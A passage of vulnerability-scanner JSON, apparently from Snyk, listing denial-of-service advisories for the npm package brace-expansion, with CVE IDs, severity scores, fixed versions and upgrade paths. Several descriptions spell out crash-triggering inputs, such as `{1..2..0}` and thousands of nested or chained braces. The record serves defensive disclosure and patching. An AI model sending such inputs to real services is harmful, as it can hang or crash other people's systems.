"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
